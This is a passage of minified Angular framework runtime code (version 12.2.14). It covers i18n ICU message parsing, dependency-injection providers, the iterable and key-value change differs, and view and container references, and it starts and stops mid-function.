iu(t,e,n,i,r,o){var a=0,s={type:r.type,currentCaseLViewIndex:ro(t,e,1,null),anchorIdx:o,cases:[],create:[],remove:[],update:[]};(function(t,e,n){t.push(eu(e.mainBinding),2,-1-e.mainBinding,n<<2|2)})(n,r,o),function(t,e,n){var i=t.data[e];null===i?t.data[e]=n:i.value=n}(t,o,s);for(var u=r.values,c=0;c<u.length;c++){for(var l=u[c],h=[],f=0;f<l.length;f++){var d=l[f];if("string"!=typeof d){var p=h.push(d)-1;l[f]="\x3c!--\ufffd".concat(p,"\ufffd--\x3e")}}a=au(t,s,e,n,i,r.cases[c],l.join(""),h)|a}a&&function(t,e,n){t.push(e,1,n<<2|3)}(n,a,o)}function ru(t){for(var e=[],n=[],i=1,r=0,o=ou(t=t.replace(Ws,function(t,e,n){return i="select"===n?0:1,r=parseInt(e.substr(1),10),""})),a=0;a<o.length;){var s=o[a++].trim();1===i&&(s=s.replace(/\s*(?:=)?(\w+)\s*/,"$1")),s.length&&e.push(s);var u=ou(o[a++]);e.length>n.length&&n.push(u)}return{type:i,mainBinding:r,cases:e,values:n}}function ou(t){if(!t)return[];var e,n=0,i=[],r=[],o=/[{}]/g;for(o.lastIndex=0;e=o.exec(t);){var a=e.index;if("}"==e[0]){if(i.pop(),0==i.length){var s=t.substring(n,a);Ws.test(s)?r.push(ru(s)):r.push(s),n=a+1}}else{if(0==i.length){var u=t.substring(n,a);r.push(u),n=a+1}i.push("{")}}var c=t.substring(n);return r.push(c),r}function au(t,e,n,i,r,o,a,s){var u=[],c=[],l=[];e.cases.push(o),e.create.push(u),e.remove.push(c),e.update.push(l);var h=vi(jt()).getInertBodyElement(a),f=Ui(h)||h;return f?su(t,e,n,i,u,c,l,f,r,s,0):0}function su(t,e,n,i,r,o,a,s,u,c,l){for(var h=0,f=s.firstChild;f;){var d=ro(t,n,1,null);switch(f.nodeType){case Node.ELEMENT_NODE:var p=f,v=p.tagName.toLowerCase();if(Ti.hasOwnProperty(v)){lu(r,Ns,v,u,d),t.data[d]=v;for(var m=p.attributes,g=0;g<m.length;g++){var y=m.item(g),_=y.name.toLowerCase();y.value.match(zs)?Ri.hasOwnProperty(_)&&tu(a,y.value,d,y.name,0,Ii[_]?bi:Oi[_]?ki:null):hu(r,d,y)}h=su(t,e,n,i,r,o,a,f,d,c,l+1)|h,uu(o,d,l)}break;case Node.TEXT_NODE:var b=f.textContent||"",k=b.match(zs);lu(r,null,k?"":b,u,d),uu(o,d,l),k&&(h=tu(a,b,d,null,0,null)|h);break;case Node.COMMENT_NODE:var w=Zs.exec(f.textContent||"");if(w){var C=c[parseInt(w[1],10)];lu(r,Ds,"",u,d),iu(t,n,i,u,C,d),cu(o,d,l)}}f=f.nextSibling}return h}function uu(t,e,n){0===n&&t.push(e)}function cu(t,e,n){0===n&&(t.push(~e),t.push(e))}function lu(t,e,n,i,r){null!==e&&t.push(e),t.push(n,r,function(t,e,n){return 0|e<<17|n<<1}(0,i,r))}function hu(t,e,n){t.push(e<<1|1,n.name,n.value)}function fu(t,e){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:-1,i=ie(),r=ne(),o=20+t,a=Kt(i.consts,e),s=se();i.firstCreatePass&&function(t,e,n,i,r,o){for(var a=se(),s=[],u=[],c=[[]],l=function(t){return t.replace(Ks," ")}(r=function(t,e){if(function(t){return-1===t}(e))return nu(t);var n=t.indexOf(":".concat(e,"\ufffd"))+2+e.toString().length,i=t.search(new RegExp("\ufffd\\/\\*\\d+:".concat(e,"\ufffd")));return nu(t.substring(n,i))}(r,o)).split(Qs),h=0;h<l.length;h++){var f=l[h];if(0==(1&h))for(var d=ou(f),p=0;p<d.length;p++){var v=d[p];if(0==(1&p)){var m=v;""!==m&&$s(t,a,c[0],s,u,n,m)}else{var g=v;if("object"!=typeof g)throw new Error('Unable to parse ICU expression in "'.concat(r,'" message.'));iu(t,n,u,e,g,Xs(t,a,c[0],n,s,"",!0).index)}}else{var y=47===f.charCodeAt(0),_=(f.charCodeAt(y?1:0),20+Number.parseInt(f.substring(y?2:1)));if(y)c.shift(),ue(se(),!1);else{var b=Ys(t,c[0],_);c.unshift([]),ue(b,!0)}}}t.data[i]={create:s,update:u}}(i,null===s?0:s.index,r,o,a,n);var u=i.data[o],c=pr(i,s===r[6]?null:s,r);(function(t,e,n,i){for(var r=t[kt],o=0;o<e.length;o++){var a=e[o++],s=e[o],u=(a&Ls.COMMENT)===Ls.COMMENT,c=(a&Ls.APPEND_EAGERLY)===Ls.APPEND_EAGERLY,l=a>>>Ls.SHIFT,h=t[l];null===h&&(h=t[l]=u?r.createComment(s):sr(r,s)),c&&null!==n&&vr(r,n,h,i,!1)}})(r,u.create,c,s&&8&s.type?r[s.index]:null),ge(!0)}function du(){ge(!1)}function pu(t,e,n){fu(t,e,n),du()}function vu(t,e,n,i,r){if(t=E(t),Array.isArray(t))for(var o=0;o<t.length;o++)vu(t[o],e,n,i,r);else{var a=ie(),s=ne(),u=ra(t)?t:E(t.provide),c=ea(t),l=oe(),h=1048575&l.providerIndexes,f=l.directiveStart,d=l.providerIndexes>>20;if(ra(t)||!t.multi){var p=new Ve(c,r,Ea),v=yu(u,e,r?h:h+d,f);-1===v?(on(tn(l,s),a,u),mu(a,t,e.length),e.push(u),l.directiveStart++,l.directiveEnd++,r&&(l.providerIndexes+=1048576),n.push(p),s.push(p)):(n[v]=p,s[v]=p)}else{var m=yu(u,e,h+d,f),g=yu(u,e,h,h+d),y=m>=0&&n[m],_=g>=0&&n[g];if(r&&!_||!r&&!y){on(tn(l,s),a,u);var b=function(t,e,n,i,r){var o=new Ve(t,n,Ea);return o.multi=[],o.index=e,o.componentProviders=0,gu(o,r,i&&!n),o}(r?bu:_u,n.length,r,i,c);!r&&_&&(n[g].providerFactory=b),mu(a,t,e.length,0),e.push(u),l.directiveStart++,l.directiveEnd++,r&&(l.providerIndexes+=1048576),n.push(b),s.push(b)}else mu(a,t,m>-1?m:g,gu(n[r?g:m],c,!r&&i));!r&&i&&_&&n[g].componentProviders++}}}function mu(t,e,n,i){var r=ra(e);if(r||function(t){return!!t.useClass}(e)){var o=(e.useClass||e).prototype.ngOnDestroy;if(o){var a=t.destroyHooks||(t.destroyHooks=[]);if(!r&&e.multi){var s=a.indexOf(n);-1===s?a.push(n,[i,o]):a[s+1].push(i,o)}else a.push(n,o)}}}function gu(t,e,n){return n&&t.componentProviders++,t.multi.push(e)-1}function yu(t,e,n,i){for(var r=n;r<i;r++)if(e[r]===t)return r;return-1}function _u(t,e,n,i){return ku(this.multi,[])}function bu(t,e,n,i){var r,o=this.multi;if(this.providerFactory){var a=this.providerFactory.componentProviders,s=dn(n,n[1],this.providerFactory.index,i);ku(o,r=s.slice(0,a));for(var u=a;u<s.length;u++)r.push(s[u])}else ku(o,r=[]);return r}function ku(t,e){for(var n=0;n<t.length;n++)e.push((0,t[n])());return e}function wu(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:[];return function(n){n.providersResolver=function(n,i){return function(t,e,n){var i=ie();if(i.firstCreatePass){var r=At(t);vu(n,i.data,i.blueprint,r,!0),vu(e,i.data,i.blueprint,r,!1)}}(n,i?i(t):t,e)}}}var Cu=function t(){_(this,t)},xu=function(){function t(){_(this,t)}return y(t,[{key:"resolveComponentFactory",value:function(t){throw function(t){var e=Error("No component factory found for ".concat(w(t),". Did you add it to @NgModule.entryComponents?"));return e.ngComponent=t,e}(t)}}]),t}(),Su=function(){var t=function t(){_(this,t)};return t.NULL=new xu,t}();function Eu(){}function Au(t,e){return new Iu(qt(t,e))}var Tu=function(){return Au(oe(),ne())},Iu=function(){var t=function t(e){_(this,t),this.nativeElement=e};return t.__NG_ELEMENT_ID__=Tu,t}();function Ou(t){return t instanceof Iu?t.nativeElement:t}var Ru=function t(){_(this,t)},Pu=function(){var t=function t(){_(this,t)};return t.__NG_ELEMENT_ID__=function(){return Nu()},t}(),Nu=function(){var t=ne(),e=Wt(oe().index,t);return function(t){return t[kt]}(wt(e)?e:t)},Du=function(){var t=function t(){_(this,t)};return t.\u0275prov=N({token:t,providedIn:"root",factory:function(){return null}}),t}(),Lu=function t(e){_(this,t),this.full=e,this.major=e.split(".")[0],this.minor=e.split(".")[1],this.patch=e.split(".").slice(2).join(".")},Mu=new Lu("12.2.14"),Fu=function(){function t(){_(this,t)}return y(t,[{key:"supports",value:function(t){return ga(t)}},{key:"create",value:function(t){return new Bu(t)}}]),t}(),Uu=function(t,e){return e},Bu=function(){function t(e){_(this,t),this.length=0,this._linkedRecords=null,this._unlinkedRecords=null,this._previousItHead=null,this._itHead=null,this._itTail=null,this._additionsHead=null,this._additionsTail=null,this._movesHead=null,this._movesTail=null,this._removalsHead=null,this._removalsTail=null,this._identityChangesHead=null,this._identityChangesTail=null,this._trackByFn=e||Uu}return y(t,[{key:"forEachItem",value:function(t){var e;for(e=this._itHead;null!==e;e=e._next)t(e)}},{key:"forEachOperation",value:function(t){for(var e=this._itHead,n=this._removalsHead,i=0,r=null;e||n;){var o=!n||e&&e.currentIndex<Gu(n,i,r)?e:n,a=Gu(o,i,r),s=o.currentIndex;if(o===n)i--,n=n._nextRemoved;else if(e=e._next,null==o.previousIndex)i++;else{r||(r=[]);var u=a-i,c=s-i;if(u!=c){for(var l=0;l<u;l++){var h=l<r.length?r[l]:r[l]=0,f=h+l;c<=f&&f<u&&(r[l]=h+1)}r[o.previousIndex]=c-u}}a!==s&&t(o,a,s)}}},{key:"forEachPreviousItem",value:function(t){var e;for(e=this._previousItHead;null!==e;e=e._nextPrevious)t(e)}},{key:"forEachAddedItem",value:function(t){var e;for(e=this._additionsHead;null!==e;e=e._nextAdded)t(e)}},{key:"forEachMovedItem",value:function(t){var e;for(e=this._movesHead;null!==e;e=e._nextMoved)t(e)}},{key:"forEachRemovedItem",value:function(t){var e;for(e=this._removalsHead;null!==e;e=e._nextRemoved)t(e)}},{key:"forEachIdentityChange",value:function(t){var e;for(e=this._identityChangesHead;null!==e;e=e._nextIdentityChange)t(e)}},{key:"diff",value:function(t){if(null==t&&(t=[]),!ga(t))throw new Error("Error trying to diff '".concat(w(t),"'. Only arrays and iterables are allowed"));return this.check(t)?this:null}},{key:"onDestroy",value:function(){}},{key:"check",value:function(t){var e=this;this._reset();var n,i,r,o=this._itHead,a=!1;if(Array.isArray(t)){this.length=t.length;for(var s=0;s<this.length;s++)i=t[s],r=this._trackByFn(s,i),null!==o&&Object.is(o.trackById,r)?(a&&(o=this._verifyReinsertion(o,i,r,s)),Object.is(o.item,i)||this._addIdentityChange(o,i)):(o=this._mismatch(o,i,r,s),a=!0),o=o._next}else n=0,function(t,e){if(Array.isArray(t))for(var n=0;n<t.length;n++)e(t[n]);else for(var i,r=t[va()]();!(i=r.next()).done;)e(i.value)}(t,function(t){r=e._trackByFn(n,t),null!==o&&Object.is(o.trackById,r)?(a&&(o=e._verifyReinsertion(o,t,r,n)),Object.is(o.item,t)||e._addIdentityChange(o,t)):(o=e._mismatch(o,t,r,n),a=!0),o=o._next,n++}),this.length=n;return this._truncate(o),this.collection=t,this.isDirty}},{key:"isDirty",get:function(){return null!==this._additionsHead||null!==this._movesHead||null!==this._removalsHead||null!==this._identityChangesHead}},{key:"_reset",value:function(){if(this.isDirty){var t;for(t=this._previousItHead=this._itHead;null!==t;t=t._next)t._nextPrevious=t._next;for(t=this._additionsHead;null!==t;t=t._nextAdded)t.previousIndex=t.currentIndex;for(this._additionsHead=this._additionsTail=null,t=this._movesHead;null!==t;t=t._nextMoved)t.previousIndex=t.currentIndex;this._movesHead=this._movesTail=null,this._removalsHead=this._removalsTail=null,this._identityChangesHead=this._identityChangesTail=null}}},{key:"_mismatch",value:function(t,e,n,i){var r;return null===t?r=this._itTail:(r=t._prev,this._remove(t)),null!==(t=null===this._unlinkedRecords?null:this._unlinkedRecords.get(n,null))?(Object.is(t.item,e)||this._addIdentityChange(t,e),this._reinsertAfter(t,r,i)):null!==(t=null===this._linkedRecords?null:this._linkedRecords.get(n,i))?(Object.is(t.item,e)||this._addIdentityChange(t,e),this._moveAfter(t,r,i)):t=this._addAfter(new ju(e,n),r,i),t}},{key:"_verifyReinsertion",value:function(t,e,n,i){var r=null===this._unlinkedRecords?null:this._unlinkedRecords.get(n,null);return null!==r?t=this._reinsertAfter(r,t._prev,i):t.currentIndex!=i&&(t.currentIndex=i,this._addToMoves(t,i)),t}},{key:"_truncate",value:function(t){for(;null!==t;){var e=t._next;this._addToRemovals(this._unlink(t)),t=e}null!==this._unlinkedRecords&&this._unlinkedRecords.clear(),null!==this._additionsTail&&(this._additionsTail._nextAdded=null),null!==this._movesTail&&(this._movesTail._nextMoved=null),null!==this._itTail&&(this._itTail._next=null),null!==this._removalsTail&&(this._removalsTail._nextRemoved=null),null!==this._identityChangesTail&&(this._identityChangesTail._nextIdentityChange=null)}},{key:"_reinsertAfter",value:function(t,e,n){null!==this._unlinkedRecords&&this._unlinkedRecords.remove(t);var i=t._prevRemoved,r=t._nextRemoved;return null===i?this._removalsHead=r:i._nextRemoved=r,null===r?this._removalsTail=i:r._prevRemoved=i,this._insertAfter(t,e,n),this._addToMoves(t,n),t}},{key:"_moveAfter",value:function(t,e,n){return this._unlink(t),this._insertAfter(t,e,n),this._addToMoves(t,n),t}},{key:"_addAfter",value:function(t,e,n){return this._insertAfter(t,e,n),this._additionsTail=null===this._additionsTail?this._additionsHead=t:this._additionsTail._nextAdded=t,t}},{key:"_insertAfter",value:function(t,e,n){var i=null===e?this._itHead:e._next;return t._next=i,t._prev=e,null===i?this._itTail=t:i._prev=t,null===e?this._itHead=t:e._next=t,null===this._linkedRecords&&(this._linkedRecords=new Vu),this._linkedRecords.put(t),t.currentIndex=n,t}},{key:"_remove",value:function(t){return this._addToRemovals(this._unlink(t))}},{key:"_unlink",value:function(t){null!==this._linkedRecords&&this._linkedRecords.remove(t);var e=t._prev,n=t._next;return null===e?this._itHead=n:e._next=n,null===n?this._itTail=e:n._prev=e,t}},{key:"_addToMoves",value:function(t,e){return t.previousIndex===e||(this._movesTail=null===this._movesTail?this._movesHead=t:this._movesTail._nextMoved=t),t}},{key:"_addToRemovals",value:function(t){return null===this._unlinkedRecords&&(this._unlinkedRecords=new Vu),this._unlinkedRecords.put(t),t.currentIndex=null,t._nextRemoved=null,null===this._removalsTail?(this._removalsTail=this._removalsHead=t,t._prevRemoved=null):(t._prevRemoved=this._removalsTail,this._removalsTail=this._removalsTail._nextRemoved=t),t}},{key:"_addIdentityChange",value:function(t,e){return t.item=e,this._identityChangesTail=null===this._identityChangesTail?this._identityChangesHead=t:this._identityChangesTail._nextIdentityChange=t,t}}]),t}(),ju=function t(e,n){_(this,t),this.item=e,this.trackById=n,this.currentIndex=null,this.previousIndex=null,this._nextPrevious=null,this._prev=null,this._next=null,this._prevDup=null,this._nextDup=null,this._prevRemoved=null,this._nextRemoved=null,this._nextAdded=null,this._nextMoved=null,this._nextIdentityChange=null},Hu=function(){function t(){_(this,t),this._head=null,this._tail=null}return y(t,[{key:"add",value:function(t){null===this._head?(this._head=this._tail=t,t._nextDup=null,t._prevDup=null):(this._tail._nextDup=t,t._prevDup=this._tail,t._nextDup=null,this._tail=t)}},{key:"get",value:function(t,e){var n;for(n=this._head;null!==n;n=n._nextDup)if((null===e||e<=n.currentIndex)&&Object.is(n.trackById,t))return n;return null}},{key:"remove",value:function(t){var e=t._prevDup,n=t._nextDup;return null===e?this._head=n:e._nextDup=n,null===n?this._tail=e:n._prevDup=e,null===this._head}}]),t}(),Vu=function(){function t(){_(this,t),this.map=new Map}return y(t,[{key:"put",value:function(t){var e=t.trackById,n=this.map.get(e);n||(n=new Hu,this.map.set(e,n)),n.add(t)}},{key:"get",value:function(t,e){var n=this.map.get(t);return n?n.get(t,e):null}},{key:"remove",value:function(t){var e=t.trackById;return this.map.get(e).remove(t)&&this.map.delete(e),t}},{key:"isEmpty",get:function(){return 0===this.map.size}},{key:"clear",value:function(){this.map.clear()}}]),t}();function Gu(t,e,n){var i=t.previousIndex;if(null===i)return i;var r=0;return n&&i<n.length&&(r=n[i]),i+e+r}var Yu=function(){function t(){_(this,t)}return y(t,[{key:"supports",value:function(t){return t instanceof Map||ya(t)}},{key:"create",value:function(){return new qu}}]),t}(),qu=function(){function t(){_(this,t),this._records=new Map,this._mapHead=null,this._appendAfter=null,this._previousMapHead=null,this._changesHead=null,this._changesTail=null,this._additionsHead=null,this._additionsTail=null,this._removalsHead=null,this._removalsTail=null}return y(t,[{key:"isDirty",get:function(){return null!==this._additionsHead||null!==this._changesHead||null!==this._removalsHead}},{key:"forEachItem",value:function(t){var e;for(e=this._mapHead;null!==e;e=e._next)t(e)}},{key:"forEachPreviousItem",value:function(t){var e;for(e=this._previousMapHead;null!==e;e=e._nextPrevious)t(e)}},{key:"forEachChangedItem",value:function(t){var e;for(e=this._changesHead;null!==e;e=e._nextChanged)t(e)}},{key:"forEachAddedItem",value:function(t){var e;for(e=this._additionsHead;null!==e;e=e._nextAdded)t(e)}},{key:"forEachRemovedItem",value:function(t){var e;for(e=this._removalsHead;null!==e;e=e._nextRemoved)t(e)}},{key:"diff",value:function(t){if(t){if(!(t instanceof Map||ya(t)))throw new Error("Error trying to diff '".concat(w(t),"'. Only maps and objects are allowed"))}else t=new Map;return this.check(t)?this:null}},{key:"onDestroy",value:function(){}},{key:"check",value:function(t){var e=this;this._reset();var n=this._mapHead;if(this._appendAfter=null,this._forEach(t,function(t,i){if(n&&n.key===i)e._maybeAddToChanges(n,t),e._appendAfter=n,n=n._next;else{var r=e._getOrCreateRecordForKey(i,t);n=e._insertBeforeOrAppend(n,r)}}),n){n._prev&&(n._prev._next=null),this._removalsHead=n;for(var i=n;null!==i;i=i._nextRemoved)i===this._mapHead&&(this._mapHead=null),this._records.delete(i.key),i._nextRemoved=i._next,i.previousValue=i.currentValue,i.currentValue=null,i._prev=null,i._next=null}return this._changesTail&&(this._changesTail._nextChanged=null),this._additionsTail&&(this._additionsTail._nextAdded=null),this.isDirty}},{key:"_insertBeforeOrAppend",value:function(t,e){if(t){var n=t._prev;return e._next=t,e._prev=n,t._prev=e,n&&(n._next=e),t===this._mapHead&&(this._mapHead=e),this._appendAfter=t,t}return this._appendAfter?(this._appendAfter._next=e,e._prev=this._appendAfter):this._mapHead=e,this._appendAfter=e,null}},{key:"_getOrCreateRecordForKey",value:function(t,e){if(this._records.has(t)){var n=this._records.get(t);this._maybeAddToChanges(n,e);var i=n._prev,r=n._next;return i&&(i._next=r),r&&(r._prev=i),n._next=null,n._prev=null,n}var o=new zu(t);return this._records.set(t,o),o.currentValue=e,this._addToAdditions(o),o}},{key:"_reset",value:function(){if(this.isDirty){var t;for(this._previousMapHead=this._mapHead,t=this._previousMapHead;null!==t;t=t._next)t._nextPrevious=t._next;for(t=this._changesHead;null!==t;t=t._nextChanged)t.previousValue=t.currentValue;for(t=this._additionsHead;null!=t;t=t._nextAdded)t.previousValue=t.currentValue;this._changesHead=this._changesTail=null,this._additionsHead=this._additionsTail=null,this._removalsHead=null}}},{key:"_maybeAddToChanges",value:function(t,e){Object.is(e,t.currentValue)||(t.previousValue=t.currentValue,t.currentValue=e,this._addToChanges(t))}},{key:"_addToAdditions",value:function(t){null===this._additionsHead?this._additionsHead=this._additionsTail=t:(this._additionsTail._nextAdded=t,this._additionsTail=t)}},{key:"_addToChanges",value:function(t){null===this._changesHead?this._changesHead=this._changesTail=t:(this._changesTail._nextChanged=t,this._changesTail=t)}},{key:"_forEach",value:function(t,e){t instanceof Map?t.forEach(e):Object.keys(t).forEach(function(n){return e(t[n],n)})}}]),t}(),zu=function t(e){_(this,t),this.key=e,this.previousValue=null,this.currentValue=null,this._nextPrevious=null,this._next=null,this._prev=null,this._nextAdded=null,this._nextRemoved=null,this._nextChanged=null};function Zu(){return new Wu([new Fu])}var Wu=function(){var t=function(){function t(e){_(this,t),this.factories=e}return y(t,[{key:"find",value:function(t){var e=this.factories.find(function(e){return e.supports(t)});if(null!=e)return e;throw new Error("Cannot find a differ supporting object '".concat(t,"' of type '").concat(function(t){return t.name||typeof t}(t),"'"))}}],[{key:"create",value:function(e,n){if(null!=n){var i=n.factories.slice();e=e.concat(i)}return new t(e)}},{key:"extend",value:function(e){return{provide:t,useFactory:function(n){return t.create(e,n||Zu())},deps:[[t,new Xn,new Kn]]}}}]),t}();return t.\u0275prov=N({token:t,providedIn:"root",factory:Zu}),t}();function Ju(){return new Qu([new Yu])}var Qu=function(){var t=function(){function t(e){_(this,t),this.factories=e}return y(t,[{key:"find",value:function(t){var e=this.factories.find(function(e){return e.supports(t)});if(e)return e;throw new Error("Cannot find a differ supporting object '".concat(t,"'"))}}],[{key:"create",value:function(e,n){if(n){var i=n.factories.slice();e=e.concat(i)}return new t(e)}},{key:"extend",value:function(e){return{provide:t,useFactory:function(n){return t.create(e,n||Ju())},deps:[[t,new Xn,new Kn]]}}}]),t}();return t.\u0275prov=N({token:t,providedIn:"root",factory:Ju}),t}();function Ku(t,e,n,r){for(var o=arguments.length>4&&void 0!==arguments[4]&&arguments[4];null!==n;){var a=e[n.index];if(null!==a&&r.push(Gt(a)),Ct(a))for(var s=10;s<a.length;s++){var u=a[s],c=u[1].firstChild;null!==c&&Ku(u[1],u,c,r)}var l=n.type;if(8&l)Ku(t,e,n.child,r);else if(32&l)for(var h=er(n,e),f=void 0;f=h();)r.push(f);else if(16&l){var d=Er(e,n);if(Array.isArray(d))r.push.apply(r,i(d));else{var p=nr(e[16]);Ku(p[1],p,d,r,!0)}}n=o?n.projectionNext:n.next}return r}var Xu=function(){function t(e,n){_(this,t),this._lView=e,this._cdRefInjectingView=n,this._appRef=null,this._attachedToViewContainer=!1}return y(t,[{key:"rootNodes",get:function(){var t=this._lView,e=t[1];return Ku(e,t,e.firstChild,[])}},{key:"context",get:function(){return this._lView[8]},set:function(t){this._lView[8]=t}},{key:"destroyed",get:function(){return 256==(256&this._lView[2])}},{key:"destroy",value:function(){if(this._appRef)this._appRef.detachView(this);else if(this._attachedToViewContainer){var t=this._lView[3];if(Ct(t)){var e=t[8],n=e?e.indexOf(this):-1;n>-1&&(lr(t,n),Tn(e,n))}this._attachedToViewContainer=!1}hr(this._lView[1],this._lView)}},{key:"onDestroy",value:function(t){vo(this._lView[1],this._lView,null,t)}},{key:"markForCheck",value:function(){No(this._cdRefInjectingView||this._lView)}},{key:"detach",value:function(){this._lView[2]&=-129}},{key:"reattach",value:function(){this._lView[2]|=128}},{key:"detectChanges",value:function(){Do(this._lView[1],this._lView,this.context)}},{key:"checkNoChanges",value:function(){!function(t,e,n){fe(!0);try{Do(t,e,n)}finally{fe(!1)}}(this._lView[1],this._lView,this.context)}},{key:"attachToViewContainerRef",value:function(){if(this._appRef)throw new Error("This view is already attached directly to the ApplicationRef!");this._attachedToViewContainer=!0}},{key:"detachFromAppRef",value:function(){var t;this._appRef=null,Ir(this._lView[1],t=this._lView,t[kt],2,null,null)}},{key:"attachToAppRef",value:function(t){if(this._attachedToViewContainer)throw new Error("This view is already attached to a ViewContainer!");this._appRef=t}}]),t}(),$u=function(t){l(n,t);var e=f(n);function n(t){var i;return _(this,n),(i=e.call(this,t))._view=t,i}return y(n,[{key:"detectChanges",value:function(){Lo(this._view)}},{key:"checkNoChanges",value:function(){!function(t){fe(!0);try{Lo(t)}finally{fe(!1)}}(this._view)}},{key:"context",get:function(){return null}}]),n}(Xu),tc=function(t){return function(t,e,n){if(St(t)&&!n){var i=Wt(t.index,e);return new Xu(i,i)}return 47&t.type?new Xu(e[16],e):null}(oe(),ne(),16==(16&t))},ec=function(){var t=function t(){_(this,t)};return t.__NG_ELEMENT_ID__=tc,t}(),nc=[new Yu],ic=new Wu([new Fu]),rc=new Qu(nc),oc=function(){return uc(oe(),ne())},ac=function(){var t=function t(){_(this,t)};return t.__NG_ELEMENT_ID__=oc,t}(),sc=function(t){l(n,t);var e=f(n);function n(t,i,r){var o;return _(this,n),(o=e.call(this))._declarationLView=t,o._declarationTContainer=i,o.elementRef=r,o}return y(n,[{key:"createEmbeddedView",value:function(t){var e=this._declarationTContainer.tViews,n=eo(this._declarationLView,e,t,16,null,e.declTNode,null,null,null,null);n[17]=this._declarationLView[this._declarationTContainer.index];var i=this._declarationLView[19];return null!==i&&(n[19]=i.createEmbeddedView(e)),oo(e,n,t),new Xu(n)}}]),n}(ac);function uc(t,e){return 4&t.type?new sc(e,t,Au(t,e)):null}var cc=function t(){_(this,t)},lc=function t(){_(this,t)},hc=function(){return mc(oe(),ne())},fc=function(){var t=function t(){_(this,t)};return t.__NG_ELEMENT_ID__=hc,t}(),dc=function(t){l(n,t);var e=f(n);function n(t,i,r){var o;return _(this,n),(o=e.call(this))._lContainer=t,o._hostTNode=i,o._hostLView=r,o}return y(n,[{key:"element",get:function(){return Au(this._hostTNode,this._hostLView)}},{key:"injector",get:function(){return new mn(this._hostTNode,this._hostLView)}},{key:"parentInjector",get:function(){var t=rn(this._hostTNode,this._hostLView);if(We(t)){var e=Qe(t,this._hostLView),n=Je(t);return new mn(e[1].data[n+8],e)}return new mn(null,this._hostLView)}},{key:"clear",value:function(){for(;this.length>0;)this.remove(this.length-1)}},{key:"get",value:function(t){var e=pc(this._lContainer);return null!==e&&e[t]||null}},{key:"length",get:function(){return this._lContainer.length-10}},{key:"createEmbeddedView",value:function(t,e,n){var i=t.createEmbeddedView(e||{});return this.insert(i,n),i}},{key:"createComponent",value:function(t,e,n,i,r){var o=n||this.parentInjector;if(!r&&null==t.ngModule&&o){var a=o.get(cc,null);a&&(r=a)}var s=t.create(o,i,void 0,r);return this.insert(s.hostView,e),s}},{key:"insert",value:function(t,e){var i=t._lView,r=i[1];if(Ct(i[3])){var o=this.indexOf(t);if(-1!==o)this.detach(o);else{var a=i[3],s=new n(a,a[6],a[3]);s.detach(s.indexOf(t))}}var u=this._adjustIndex(e),c=this._lContainer;!function(t,e,n,i){var r=10+i,o=n.length;i>0&&(n[r-1][4]=e),i<o-10?(e[4]=n[r],An(n,10+i,e)):(n.push(e),e[4]=null),e[3]=n;var a=e[17];null!==a&&n!==a&&function(t,e){var n=t[9];e[16]!==e[3][3][16]&&(t[2]=!0),null===n?t[9]=[e]:n.push(e)}(a,e);var s=e[19];null!==s&&s.insertView(t),e[2]|=128}(r,i,c,u);var l=Ar(u,c),h=i[kt],f=yr(h,c[7]);return null!==f&&function(t,e,n,i,r,o){i[0]=r,i[6]=e,Ir(t,i,n,1,r,o)}(r,c[6],h,i,f,l),t.attachToViewContainerRef(),An(vc(c),u,t),t}},{key:"move",value:function(t,e){return this.insert(t,e)}},{key:"indexOf",value:function(t){var e=pc(this._lContainer);return null!==e?e.indexOf(t):-1}},{key:"remove",value:function(t){var e=this._adjustIndex(t,-1),n=lr(this._lContainer,e);n&&(Tn(vc(this._lContainer),e),hr(n[1],n))}},{key:"detach",value:function(t){var e=this._adjustIndex(t,-1),n=lr(this._lContainer,e);return n&&null!=Tn(vc(this._lContainer),e)?new Xu(n):null}},{key:"_adjustIndex",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;return null==t?this.length+e:t}}]),n}(fc);function pc(t){return t[8]}function vc(t){return t[8]||(t[8]=[])}function mc(t,e){var n,i=e[t.index];if(Ct(i))n=i;else{var r;if(8&t.type)r=Gt(i);else{var o=e[kt];r=o.createComment("");var a=qt(t,e);vr(o,yr(o,a),r,function(t,e){return Ht(t)?t.nextSibling(e):e.nextSibling}(o,a),!1)}e[t.index]=n=To(i,e,r,t),Po(e,n)}return new dc(n,t,e)}var gc={},yc=function(t){l(n,t);var e=f(n);function n(t){var i;return _(this,n),(i=e.call(this)).ngModule=t,i}return y(n,[{key:"resolveComponentFactory",value:function(t){var e=_t(t);return new kc(e,this.ngModule)}}]),n}(Su);function _c(t){var e=[];for(var n in t)t.hasOwnProperty(n)&&e.push({propName:t[n],templateName:n});return e}var bc=new wn("SCHEDULER_TOKEN",{providedIn:"root",factory:function(){return Ji}}),kc=function(t){l(n,t);var e=f(n);function n(t,i){var r;return _(this,n),(r=e.call(this)).componentDef=t,r.ngModule=i,r.componentType=t.type,r.selector=t.selectors.map(Yr).join(","),r.ngContentSelectors=t.ngContentSelectors?t.ngContentSelectors:[],r.isBoundToModule=!!i,r}return y(n,[{key:"inputs",get:function(){return _c(this.componentDef.inputs)}},{key:"outputs",get:function(){return _c(this.componentDef.outputs)}},{key:"create",value:function(t,e,n,i){var r,o,a=(i=i||this.ngModule)?function(t,e){return{get:function(n,i,r){var o=t.get(n,gc,r);return o!==gc||i===gc?o:e.get(n,i,r)}}}(t,i.injector):t,s=a.get(Ru,Vt),u=a.get(Du,null),c=s.createRenderer(null,this.componentDef),l=this.componentDef.selectors[0][0]||"div",h=n?function(t,e,n){if(Ht(t))return t.selectRootElement(e,n===W.ShadowDom);var i="string"==typeof e?t.querySelector(e):e;return i.textContent="",i}(c,n,this.componentDef.encapsulation):ur(s.createRenderer(null,this.componentDef),l,function(t){var e=t.toLowerCase();return"svg"===e?Ut:"math"===e?"http://www.w3.org/1998/MathML/":null}(l)),f=this.componentDef.onPush?576:528,d={components:[],scheduler:Ji,clean:Fo,playerHandler:null,flags:0},p=po(0,null,null,1,0,null,null,null,null,null),v=eo(null,p,d,f,null,null,s,c,u,a);Se(v);try{var m=function(t,e,n,i,r,o){var a=n[1];n[20]=t;var s=no(a,20,2,"#host",null),u=s.mergedAttrs=e.hostAttrs;null!==u&&(Yo(s,u,!0),null!==t&&(Ge(r,t,u),null!==s.classes&&Pr(r,t,s.classes),null!==s.styles&&Rr(r,t,s.styles)));var c=i.createRenderer(t,e),l=eo(n,fo(e),null,e.onPush?64:16,n[20],s,i,c,null,null);return 